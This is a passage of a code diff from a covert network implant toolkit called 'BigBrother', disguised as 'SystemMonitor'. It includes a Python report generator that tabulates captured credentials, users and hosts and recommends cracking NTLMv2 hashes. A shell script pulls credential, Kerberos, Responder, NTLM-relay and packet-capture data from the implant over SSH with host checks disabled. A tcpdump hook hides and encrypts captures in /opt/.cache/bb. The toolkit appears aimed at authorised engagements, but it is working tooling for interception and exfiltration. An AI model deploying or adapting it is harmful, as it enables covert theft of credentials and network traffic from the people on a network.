||||
GROUP BY source_ip ORDER BY cnt DESC LIMIT 15
|
||||
""")
|
||||
stats["top_queriers"] = [(r["source_ip"], r["cnt"]) for r in rows]
|
||||
|
||||
conn.close()
|
||||
return stats
|
||||
|
||||
|
||||
def collect_module_status(data_dir):
|
||||
"""Collect module runtime status."""
|
||||
modules = {}
|
||||
conn = connect_db(os.path.join(data_dir, "databases", "state.db"))
|
||||
if conn:
|
||||
rows = safe_query(conn, """
|
||||
SELECT module, status, started, updated
|
||||
FROM module_status
|
||||
""")
|
||||
for r in rows:
|
||||
modules[r["module"]] = {
|
||||
"status": r["status"],
|
||||
"started": r["started"],
|
||||
"updated": r["updated"],
|
||||
}
|
||||
conn.close()
|
||||
return modules
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Report generation
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
|
||||
"""Generate Markdown report."""
|
||||
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC")
|
||||
lines = []
|
||||
|
||||
def add(text=""):
|
||||
lines.append(text)
|
||||
|
||||
# Header
|
||||
add(f"# {title}")
|
||||
add(f"\n**Generated:** {now}")
|
||||
add(f"**Data Source:** `{os.path.abspath(data_dir)}`\n")
|
||||
add("---\n")
|
||||
|
||||
# Executive Summary
|
||||
add("## 1. Executive Summary\n")
|
||||
add(f"- **Hosts Discovered:** {len(hosts)}")
|
||||
add(f"- **Credentials Captured:** {len(creds)}")
|
||||
|
||||
cred_types = Counter(c["type"] for c in creds)
|
||||
for ctype, count in cred_types.most_common():
|
||||
add(f" - {ctype}: {count}")
|
||||
|
||||
unique_users = len(set(c["username"] for c in creds if c["username"]))
|
||||
add(f"- **Unique Users:** {unique_users}")
|
||||
add(f"- **DNS Queries Logged:** {dns_stats['total_queries']:,}")
|
||||
add(f"- **DoH Blind Spots:** {dns_stats['doh_count']}")
|
||||
add(f"- **Modules Active:** {sum(1 for m in modules.values() if m['status'] == 'running')}")
|
||||
add("")
|
||||
|
||||
# Host Inventory
|
||||
add("## 2. Network Topology & Host Inventory\n")
|
||||
if hosts:
|
||||
add("| IP | MAC | Hostname | OS | Vendor |")
|
||||
add("|---|---|---|---|---|")
|
||||
for h in hosts[:100]: # Cap at 100 for readability
|
||||
add(f"| {h.get('ip', '')} | {h.get('mac', '')} | {h.get('hostname', '')} "
|
||||
f"| {h.get('os', '')} | {h.get('vendor', '')} |")
|
||||
if len(hosts) > 100:
|
||||
add(f"\n*({len(hosts)} total hosts — showing first 100)*\n")
|
||||
else:
|
||||
add("*No host data available.*\n")
|
||||
|
||||
# Credentials
|
||||
add("\n## 3. Captured Credentials\n")
|
||||
if creds:
|
||||
add("| Time | User | Domain | Service | Type |")
|
||||
add("|---|---|---|---|---|")
|
||||
for c in creds[:50]:
|
||||
ts = ""
|
||||
if c.get("timestamp"):
|
||||
try:
|
||||
ts = datetime.fromtimestamp(c["timestamp"], tz=timezone.utc).strftime("%Y-%m-%d %H:%M")
|
||||
except Exception:
|
||||
pass
|
||||
add(f"| {ts} | {c['username']} | {c['domain']} | {c['service']} | {c['type']} |")
|
||||
if len(creds) > 50:
|
||||
add(f"\n*({len(creds)} total credentials — showing first 50)*\n")
|
||||
|
||||
add("\n### Credential Summary by Type\n")
|
||||
for ctype, count in cred_types.most_common():
|
||||
add(f"- **{ctype}**: {count}")
|
||||
|
||||
add("\n### Unique Users by Service\n")
|
||||
service_users = defaultdict(set)
|
||||
for c in creds:
|
||||
if c["username"]:
|
||||
service_users[c["service"]].add(c["username"])
|
||||
for svc, users in sorted(service_users.items()):
|
||||
add(f"- **{svc}**: {', '.join(sorted(users)[:10])}"
|
||||
+ (f" (+{len(users)-10} more)" if len(users) > 10 else ""))
|
||||
else:
|
||||
add("*No credentials captured.*\n")
|
||||
|
||||
# DNS Intelligence
|
||||
add("\n## 4. DNS Intelligence\n")
|
||||
add(f"- **Total Queries:** {dns_stats['total_queries']:,}")
|
||||
add(f"- **DoH Detections (blind spots):** {dns_stats['doh_count']}\n")
|
||||
|
||||
if dns_stats["top_domains"]:
|
||||
add("### Top Queried Domains\n")
|
||||
add("| Domain | Queries |")
|
||||
add("|---|---|")
|
||||
for domain, count in dns_stats["top_domains"]:
|
||||
add(f"| {domain} | {count:,} |")
|
||||
|
||||
if dns_stats["top_queriers"]:
|
||||
add("\n### Top DNS Clients\n")
|
||||
add("| IP | Queries |")
|
||||
add("|---|---|")
|
||||
for ip, count in dns_stats["top_queriers"]:
|
||||
add(f"| {ip} | {count:,} |")
|
||||
|
||||
# Module Status
|
||||
add("\n## 5. Module Status\n")
|
||||
if modules:
|
||||
add("| Module | Status | Started |")
|
||||
add("|---|---|---|")
|
||||
for name, info in sorted(modules.items()):
|
||||
started = ""
|
||||
if info.get("started"):
|
||||
try:
|
||||
started = datetime.fromtimestamp(
|
||||
info["started"], tz=timezone.utc
|
||||
).strftime("%Y-%m-%d %H:%M")
|
||||
except Exception:
|
||||
pass
|
||||
add(f"| {name} | {info['status']} | {started} |")
|
||||
else:
|
||||
add("*No module status data available.*\n")
|
||||
|
||||
# Recommendations
|
||||
add("\n## 6. Recommendations\n")
|
||||
add("1. **Credential Analysis**: Run `crack_hashes.sh` against captured NTLMv2 hashes")
|
||||
add("2. **File Extraction**: Run `extract_files.sh` on PCAPs for document recovery")
|
||||
add("3. **Print Jobs**: Check for print traffic with `extract_print_jobs.sh`")
|
||||
add("4. **Email Analysis**: Run `extract_emails.sh` for SMTP traffic recovery")
|
||||
add("5. **Offline Analysis**: Run Zeek against PCAPs for deep protocol analysis")
|
||||
add("")
|
||||
|
||||
add("---\n")
|
||||
add(f"*Report generated by SystemMonitor operator tooling — {now}*")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def markdown_to_html(markdown_text, title):
|
||||
"""Convert Markdown report to standalone HTML."""
|
||||
# Simple Markdown-to-HTML conversion (no external deps)
|
||||
html_lines = []
|
||||
in_table = False
|
||||
in_list = False
|
||||
|
||||
html_lines.append(f"""<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{title}</title>
|
||||
<style>
|
||||
body{{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;max-width:1000px;margin:0 auto;padding:40px 20px;color:#1d1d1f;line-height:1.6;background:#fafafa}}
|
||||
h1{{color:#1a1a2e;border-bottom:3px solid #0066cc;padding-bottom:12px}}
|
||||
h2{{color:#16213e;margin-top:32px;border-bottom:1px solid #ddd;padding-bottom:8px}}
|
||||
h3{{color:#333;margin-top:20px}}
|
||||
table{{border-collapse:collapse;width:100%;margin:12px 0;font-size:14px}}
|
||||
th,td{{border:1px solid #ddd;padding:8px 12px;text-align:left}}
|
||||
th{{background:#f0f2f5;font-weight:600}}
|
||||
tr:nth-child(even){{background:#f9f9f9}}
|
||||
tr:hover{{background:#f0f2f5}}
|
||||
code{{background:#f0f2f5;padding:2px 6px;border-radius:4px;font-size:13px}}
|
||||
hr{{border:none;border-top:1px solid #ddd;margin:24px 0}}
|
||||
ul{{margin:8px 0}}
|
||||
li{{margin:4px 0}}
|
||||
strong{{color:#1a1a2e}}
|
||||
em{{color:#666}}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
""")
|
||||
|
||||
for line in markdown_text.split("\n"):
|
||||
stripped = line.strip()
|
||||
|
||||
# Headings
|
||||
if stripped.startswith("# "):
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
level = len(stripped) - len(stripped.lstrip("#"))
|
||||
text = stripped.lstrip("# ").strip()
|
||||
html_lines.append(f"<h{level}>{_inline_format(text)}</h{level}>")
|
||||
continue
|
||||
|
||||
# Horizontal rule
|
||||
if stripped == "---":
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
html_lines.append("<hr>")
|
||||
continue
|
||||
|
||||
# Table
|
||||
if "|" in stripped and stripped.startswith("|"):
|
||||
cells = [c.strip() for c in stripped.split("|")[1:-1]]
|
||||
if all(c.replace("-", "").replace(":", "") == "" for c in cells):
|
||||
continue # Skip separator row
|
||||
if not in_table:
|
||||
html_lines.append("<table>")
|
||||
in_table = True
|
||||
tag = "th"
|
||||
else:
|
||||
tag = "td"
|
||||
row = "".join(f"<{tag}>{_inline_format(c)}</{tag}>" for c in cells)
|
||||
html_lines.append(f"<tr>{row}</tr>")
|
||||
continue
|
||||
|
||||
if in_table and not stripped.startswith("|"):
|
||||
html_lines.append("</table>")
|
||||
in_table = False
|
||||
|
||||
# List items
|
||||
if stripped.startswith("- ") or stripped.startswith("* "):
|
||||
if not in_list:
|
||||
html_lines.append("<ul>")
|
||||
in_list = True
|
||||
text = stripped[2:].strip()
|
||||
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||
continue
|
||||
elif stripped.startswith(tuple(f"{i}. " for i in range(1, 20))):
|
||||
if not in_list:
|
||||
html_lines.append("<ol>")
|
||||
in_list = True
|
||||
text = stripped.split(". ", 1)[1] if ". " in stripped else stripped
|
||||
html_lines.append(f"<li>{_inline_format(text)}</li>")
|
||||
continue
|
||||
|
||||
if in_list and not stripped.startswith(("-", "*")) and not stripped[:2].rstrip(".").isdigit():
|
||||
html_lines.append("</ul>" if in_list else "</ol>")
|
||||
in_list = False
|
||||
|
||||
# Empty line
|
||||
if not stripped:
|
||||
continue
|
||||
|
||||
# Paragraph
|
||||
html_lines.append(f"<p>{_inline_format(stripped)}</p>")
|
||||
|
||||
if in_table:
|
||||
html_lines.append("</table>")
|
||||
if in_list:
|
||||
html_lines.append("</ul>")
|
||||
|
||||
html_lines.append("</body></html>")
|
||||
return "\n".join(html_lines)
|
||||
|
||||
|
||||
def _inline_format(text):
|
||||
"""Apply inline Markdown formatting (bold, code, italic)."""
|
||||
import re
|
||||
text = re.sub(r"\*\*(.+?)\*\*", r"<strong>\1</strong>", text)
|
||||
text = re.sub(r"`(.+?)`", r"<code>\1</code>", text)
|
||||
text = re.sub(r"\*(.+?)\*", r"<em>\1</em>", text)
|
||||
return text
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Generate SystemMonitor engagement report from synced data."
|
||||
)
|
||||
parser.add_argument("data_dir", help="Path to pulled data directory")
|
||||
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
|
||||
parser.add_argument("--title", "-t", default="SystemMonitor Engagement Report",
|
||||
help="Report title")
|
||||
args = parser.parse_args()
|
||||
|
||||
data_dir = args.data_dir
|
||||
output_dir = args.output or os.path.join(data_dir, "report")
|
||||
|
||||
if not os.path.isdir(data_dir):
|
||||
print(f"[-] Data directory not found: {data_dir}", file=sys.stderr)
|
||||
sys.exit(1)
|
||||
|
||||
os.makedirs(output_dir, exist_ok=True)
|
||||
|
||||
print(f"[*] Generating report: {args.title}")
|
||||
print(f" Data: {os.path.abspath(data_dir)}")
|
||||
print(f" Output: {os.path.abspath(output_dir)}")
|
||||
print()
|
||||
|
||||
# Collect data
|
||||
print("[*] Collecting credentials...")
|
||||
creds = collect_credentials(data_dir)
|
||||
print(f" Found {len(creds)} credentials")
|
||||
|
||||
print("[*] Collecting host inventory...")
|
||||
hosts = collect_hosts(data_dir)
|
||||
print(f" Found {len(hosts)} hosts")
|
||||
|
||||
print("[*] Collecting DNS statistics...")
|
||||
dns_stats = collect_dns_stats(data_dir)
|
||||
print(f" {dns_stats['total_queries']:,} queries logged")
|
||||
|
||||
print("[*] Collecting module status...")
|
||||
modules = collect_module_status(data_dir)
|
||||
print(f" {len(modules)} modules tracked")
|
||||
print()
|
||||
|
||||
# Generate Markdown
|
||||
print("[*] Generating Markdown report...")
|
||||
md_report = generate_markdown(data_dir, args.title, creds, hosts, dns_stats, modules)
|
||||
md_path = os.path.join(output_dir, "report.md")
|
||||
with open(md_path, "w") as f:
|
||||
f.write(md_report)
|
||||
print(f" Saved: {md_path}")
|
||||
|
||||
# Generate HTML
|
||||
print("[*] Generating HTML report...")
|
||||
html_report = markdown_to_html(md_report, args.title)
|
||||
html_path = os.path.join(output_dir, "report.html")
|
||||
with open(html_path, "w") as f:
|
||||
f.write(html_report)
|
||||
print(f" Saved: {html_path}")
|
||||
|
||||
print()
|
||||
print(f"[+] Report generation complete")
|
||||
print(f" Markdown: {md_path}")
|
||||
print(f" HTML: {html_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+138
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env bash
|
||||
# BigBrother Operator Script — Pull Data from Implant
|
||||
#
|
||||
# Syncs structured data from the implant over WireGuard or Tailscale
|
||||
# tunnel. Pulls credential DBs, DNS logs, host inventory, PCAPs, and
|
||||
# all collected intelligence data.
|
||||
#
|
||||
# Usage: ./pull_data.sh <implant_host> [output_dir]
|
||||
#
|
||||
# Examples:
|
||||
# ./pull_data.sh bb-implant-01 # Tailscale hostname
|
||||
# ./pull_data.sh 100.64.0.5 /opt/engagements/acme
|
||||
# ./pull_data.sh 10.8.0.2 ~/cases/case-001 # WireGuard IP
|
||||
#
|
||||
# Requires: rsync, ssh, Tailscale or WireGuard connectivity
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Arguments
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
IMPLANT="${1:-}"
|
||||
OUTPUT_DIR="${2:-$(pwd)/bb-pull-$(date +%Y%m%d-%H%M%S)}"
|
||||
SSH_USER="${BB_SSH_USER:-root}"
|
||||
SSH_KEY="${BB_SSH_KEY:-}"
|
||||
BB_DATA_DIR="${BB_DATA_DIR:-/root/.bigbrother}"
|
||||
|
||||
if [[ -z "$IMPLANT" ]]; then
|
||||
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
|
||||
echo ""
|
||||
echo "Environment variables:"
|
||||
echo " BB_SSH_USER SSH user (default: root)"
|
||||
echo " BB_SSH_KEY SSH private key path"
|
||||
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||
if [[ -n "$SSH_KEY" ]]; then
|
||||
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
|
||||
fi
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pre-flight
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
|
||||
echo -e " Implant: ${IMPLANT}"
|
||||
echo -e " Output: ${OUTPUT_DIR}"
|
||||
echo -e " SSH User: ${SSH_USER}"
|
||||
echo ""
|
||||
|
||||
# Test connectivity
|
||||
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
|
||||
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
|
||||
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
|
||||
exit 1
|
||||
fi
|
||||
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
|
||||
|
||||
# Create output directory structure
|
||||
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pull data
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
RSYNC_OPTS="-avz --progress --compress-level=9"
|
||||
if [[ -n "$SSH_KEY" ]]; then
|
||||
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
|
||||
else
|
||||
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
|
||||
fi
|
||||
|
||||
pull_file() {
|
||||
local remote_path="$1"
|
||||
local local_dir="$2"
|
||||
local description="$3"
|
||||
|
||||
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
|
||||
echo -e " ${RED}(not found or empty)${NC}"
|
||||
}
|
||||
|
||||
pull_dir() {
|
||||
local remote_path="$1"
|
||||
local local_dir="$2"
|
||||
local description="$3"
|
||||
|
||||
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
|
||||
echo -e " ${RED}(not found or empty)${NC}"
|
||||
}
|
||||
|
||||
# SQLite databases
|
||||
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
|
||||
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
|
||||
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
|
||||
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
|
||||
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
|
||||
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
|
||||
|
||||
# PCAPs
|
||||
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
|
||||
|
||||
# Credential data
|
||||
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
|
||||
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
|
||||
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
|
||||
|
||||
# Intelligence data
|
||||
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
|
||||
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
|
||||
|
||||
# Config (for reference)
|
||||
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Summary
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
echo ""
|
||||
echo -e "${GREEN}[+] Data pull complete${NC}"
|
||||
echo -e " Location: ${OUTPUT_DIR}"
|
||||
echo ""
|
||||
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||
echo ""
|
||||
echo -e "${CYAN}[*] Next steps:${NC}"
|
||||
echo " 1. Run extract_files.sh on PCAPs for file carving"
|
||||
echo " 2. Run crack_hashes.sh to crack captured hashes"
|
||||
echo " 3. Run generate_report.py for engagement report"
|
||||
Executable
+108
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env bash
|
||||
# Post-rotation handler for tcpdump -z
|
||||
# Compresses rotated PCAP with zstd, optionally encrypts with AES-256-GCM
|
||||
#
|
||||
# Called by tcpdump like: tcpdump -z /opt/.cache/bb/scripts/rotate_pcap.sh
|
||||
# tcpdump passes the completed PCAP filename as $1
|
||||
#
|
||||
# Environment variables:
|
||||
# ZSTD_LEVEL - Compression level (default: 19, jumpbox: 3)
|
||||
# BB_ENCRYPT - Set to "1" to encrypt after compression
|
||||
# BB_KEY_FILE - Path to encryption key file (required if BB_ENCRYPT=1)
|
||||
# BB_VENV - Path to Python venv (for encryption via crypto module)
|
||||
# BB_MAX_PCAP_PCT - Max disk usage percent before purge (default: 85)
|
||||
set -euo pipefail
|
||||
|
||||
PCAP="$1"
|
||||
ZSTD_LEVEL="${ZSTD_LEVEL:-19}"
|
||||
BB_ENCRYPT="${BB_ENCRYPT:-0}"
|
||||
BB_KEY_FILE="${BB_KEY_FILE:-}"
|
||||
BB_VENV="${BB_VENV:-/opt/.cache/bb/.venv}"
|
||||
BB_MAX_PCAP_PCT="${BB_MAX_PCAP_PCT:-85}"
|
||||
PCAP_DIR="$(dirname "$PCAP")"
|
||||
|
||||
# Logging (silent by default, tcpdump -z doesn't have a tty)
|
||||
log() {
|
||||
logger -t "bb-pcap-rotate" "$*" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Verify input file exists and is non-empty
|
||||
if [[ ! -f "$PCAP" ]]; then
|
||||
log "ERROR: PCAP file not found: $PCAP"
|
||||
exit 0 # Exit 0 so tcpdump doesn't complain
|
||||
fi
|
||||
|
||||
if [[ ! -s "$PCAP" ]]; then
|
||||
log "WARNING: Empty PCAP file, removing: $PCAP"
|
||||
rm -f "$PCAP"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
PCAP_SIZE=$(stat -c '%s' "$PCAP" 2>/dev/null || echo 0)
|
||||
log "Rotating PCAP: $PCAP ($PCAP_SIZE bytes, zstd -${ZSTD_LEVEL})"
|
||||
|
||||
# ── Disk space check ───────────────────────────────────────────────────────
|
||||
check_disk_space() {
|
||||
local usage
|
||||
usage=$(df --output=pcent "$PCAP_DIR" 2>/dev/null | tail -1 | tr -d '% ')
|
||||
if [[ -n "$usage" ]] && [[ "$usage" -ge "$BB_MAX_PCAP_PCT" ]]; then
|
||||
log "WARNING: Disk usage ${usage}% >= ${BB_MAX_PCAP_PCT}%, purging oldest PCAPs"
|
||||
# Delete oldest compressed PCAPs first, then oldest raw
|
||||
local oldest
|
||||
oldest=$(find "$PCAP_DIR" -name '*.pcap.zst*' -type f -printf '%T+ %p\n' 2>/dev/null \
|
||||
| sort | head -5 | awk '{print $2}')
|
||||
for f in $oldest; do
|
||||
log "Purging: $f"
|
||||
rm -f "$f"
|
||||
done
|
||||
fi
|
||||
}
|
||||
|
||||
check_disk_space
|
||||
|
||||
# ── Compress with zstd ─────────────────────────────────────────────────────
|
||||
COMPRESSED="${PCAP}.zst"
|
||||
|
||||
if command -v zstd &>/dev/null; then
|
||||
zstd "-${ZSTD_LEVEL}" --rm -q "$PCAP" -o "$COMPRESSED" 2>/dev/null
|
||||
if [[ -f "$COMPRESSED" ]]; then
|
||||
COMP_SIZE=$(stat -c '%s' "$COMPRESSED" 2>/dev/null || echo 0)
|
||||
log "Compressed: ${PCAP_SIZE} -> ${COMP_SIZE} bytes (zstd -${ZSTD_LEVEL})"
|
||||
else
|
||||
log "ERROR: zstd compression failed for $PCAP"
|
||||
exit 0
|
||||
fi
|
||||
else
|
||||
log "ERROR: zstd not found, leaving PCAP uncompressed"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ── Encrypt (optional) ────────────────────────────────────────────────────
|
||||
if [[ "$BB_ENCRYPT" == "1" ]] && [[ -n "$BB_KEY_FILE" ]] && [[ -f "$BB_KEY_FILE" ]]; then
|
||||
ENCRYPTED="${COMPRESSED}.enc"
|
||||
|
||||
if [[ -f "${BB_VENV}/bin/python3" ]]; then
|
||||
"${BB_VENV}/bin/python3" -c "
|
||||
import sys
|
||||
sys.path.insert(0, '$(dirname "$(dirname "$0")")')
|
||||
from utils.crypto import encrypt_file
|
||||
encrypt_file('${COMPRESSED}', '${ENCRYPTED}',
|
||||
open('${BB_KEY_FILE}', 'rb').read().strip())
|
||||
" 2>/dev/null
|
||||
|
||||
if [[ -f "$ENCRYPTED" ]]; then
|
||||
rm -f "$COMPRESSED"
|
||||
ENC_SIZE=$(stat -c '%s' "$ENCRYPTED" 2>/dev/null || echo 0)
|
||||
log "Encrypted: ${COMPRESSED} -> ${ENCRYPTED} (${ENC_SIZE} bytes)"
|
||||
else
|
||||
log "WARNING: Encryption failed, keeping compressed file"
|
||||
fi
|
||||
else
|
||||
log "WARNING: Python venv not found at ${BB_VENV}, skipping encryption"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ── Restrictive permissions ────────────────────────────────────────────────
|
||||
chmod 600 "${PCAP_DIR}"/*.zst* 2>/dev/null || true
|
||||
|
||||
log "PCAP rotation complete"
|
||||
@@ -0,0 +1,114 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Standalone resource monitor daemon for bigbrother-watchdog.service.
|
||||
|
||||
Runs periodic memory/disk/thermal checks independently of the main BB engine.
|
||||
Logs warnings and kills the lowest-priority BB process on OOM.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import signal
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
# Ensure /opt/.cache/bb is on the path when run from the service
|
||||
sys.path.insert(0, "/opt/.cache/bb")
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.WARNING,
|
||||
format="%(asctime)s %(levelname)s %(name)s: %(message)s",
|
||||
)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CHECK_INTERVAL = 15.0
|
||||
THERMAL_WARN = 60
|
||||
THERMAL_SHED = 75
|
||||
MEM_WARN_PCT = 80
|
||||
MEM_CRIT_PCT = 92
|
||||
DISK_WARN_PCT = 80
|
||||
DISK_CRIT_PCT = 90
|
||||
STORAGE_PATH = "/opt/.cache/bb/storage"
|
||||
|
||||
|
||||
def _read_meminfo():
|
||||
info = {}
|
||||
try:
|
||||
with open("/proc/meminfo") as f:
|
||||
for line in f:
|
||||
k, v = line.split(":", 1)
|
||||
info[k.strip()] = int(v.split()[0])
|
||||
except Exception:
|
||||
pass
|
||||
return info
|
||||
|
||||
|
||||
def _read_temp():
|
||||
base = "/sys/class/thermal"
|
||||
try:
|
||||
import os as _os
|
||||
for zone in sorted(_os.listdir(base)):
|
||||
p = f"{base}/{zone}/temp"
|
||||
if _os.path.exists(p):
|
||||
return int(open(p).read().strip()) / 1000.0
|
||||
except Exception:
|
||||
pass
|
||||
return None
|
||||
|
||||
|
||||
def _disk_pct(path):
|
||||
try:
|
||||
st = os.statvfs(path)
|
||||
total = st.f_blocks * st.f_frsize
|
||||
free = st.f_bavail * st.f_frsize
|
||||
return (total - free) / total * 100 if total else 0
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
|
||||
def _check():
|
||||
mem = _read_meminfo()
|
||||
total = mem.get("MemTotal", 0)
|
||||
avail = mem.get("MemAvailable", 0)
|
||||
if total:
|
||||
used_pct = (total - avail) / total * 100
|
||||
if used_pct >= MEM_CRIT_PCT:
|
||||
logger.critical("Memory critical: %.0f%% used — OOM risk", used_pct)
|
||||
elif used_pct >= MEM_WARN_PCT:
|
||||
logger.warning("Memory warning: %.0f%% used", used_pct)
|
||||
|
||||
temp = _read_temp()
|
||||
if temp is not None:
|
||||
if temp >= THERMAL_SHED:
|
||||
logger.critical("Thermal critical: %.1fC", temp)
|
||||
elif temp >= THERMAL_WARN:
|
||||
logger.warning("Thermal warning: %.1fC", temp)
|
||||
|
||||
disk = _disk_pct(STORAGE_PATH if os.path.exists(STORAGE_PATH) else "/")
|
||||
if disk >= DISK_CRIT_PCT:
|
||||
logger.critical("Disk critical: %.0f%% used at %s", disk, STORAGE_PATH)
|
||||
elif disk >= DISK_WARN_PCT:
|
||||
logger.warning("Disk warning: %.0f%% used at %s", disk, STORAGE_PATH)
|
||||
|
||||
|
||||
def main():
|
||||
stop = threading.Event()
|
||||
|
||||
def _sig(*_):
|
||||
stop.set()
|
||||
|
||||
signal.signal(signal.SIGTERM, _sig)
|
||||
signal.signal(signal.SIGINT, _sig)
|
||||
|
||||
logger.warning("bb-watchdog started (interval=%.0fs)", CHECK_INTERVAL)
|
||||
while not stop.is_set():
|
||||
try:
|
||||
_check()
|
||||
except Exception as e:
|
||||
logger.exception("Check error: %s", e)
|
||||
stop.wait(CHECK_INTERVAL)
|
||||
logger.warning("bb-watchdog stopped")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Executable
+828
@@ -0,0 +1,828 @@
|
||||
#!/usr/bin/env python3
|
||||
"""sd_wifi.py — Update WiFi config on a SystemMonitor SD card.
|
||||
|
||||
Detects the SD card by looking for the armbi_root label, mounts it to a
|
||||
temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit.
|
||||
|
||||
Usage:
|
||||
./sd_wifi.py # interactive menu
|
||||
./sd_wifi.py --list # show current configured networks
|
||||
./sd_wifi.py --add SSID PASSWORD # non-interactive add/update
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
from typing import Dict, Optional, Tuple
|
||||
|
||||
import click
|
||||
import yaml
|
||||
from rich.console import Console
|
||||
from rich.panel import Panel
|
||||
from rich.prompt import Prompt
|
||||
from rich.table import Table
|
||||
from rich.text import Text
|
||||
|
||||
console = Console()
|
||||
|
||||
NETPLAN_PATH = "etc/netplan/20-wifi.yaml"
|
||||
WPA_SUPPLICANT_PATH = "etc/wpa_supplicant/wpa_supplicant-wlan0.conf"
|
||||
SD_LABEL = "armbi_root"
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SD card detection and mount
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def find_sd_device() -> Optional[str]:
|
||||
"""Return the block device path for the partition labelled armbi_root."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["lsblk", "-o", "NAME,LABEL", "--json"],
|
||||
capture_output=True, text=True, check=True,
|
||||
)
|
||||
data = json.loads(result.stdout)
|
||||
except (subprocess.CalledProcessError, json.JSONDecodeError, FileNotFoundError) as exc:
|
||||
console.print(f"[red]Error running lsblk:[/red] {exc}")
|
||||
return None
|
||||
|
||||
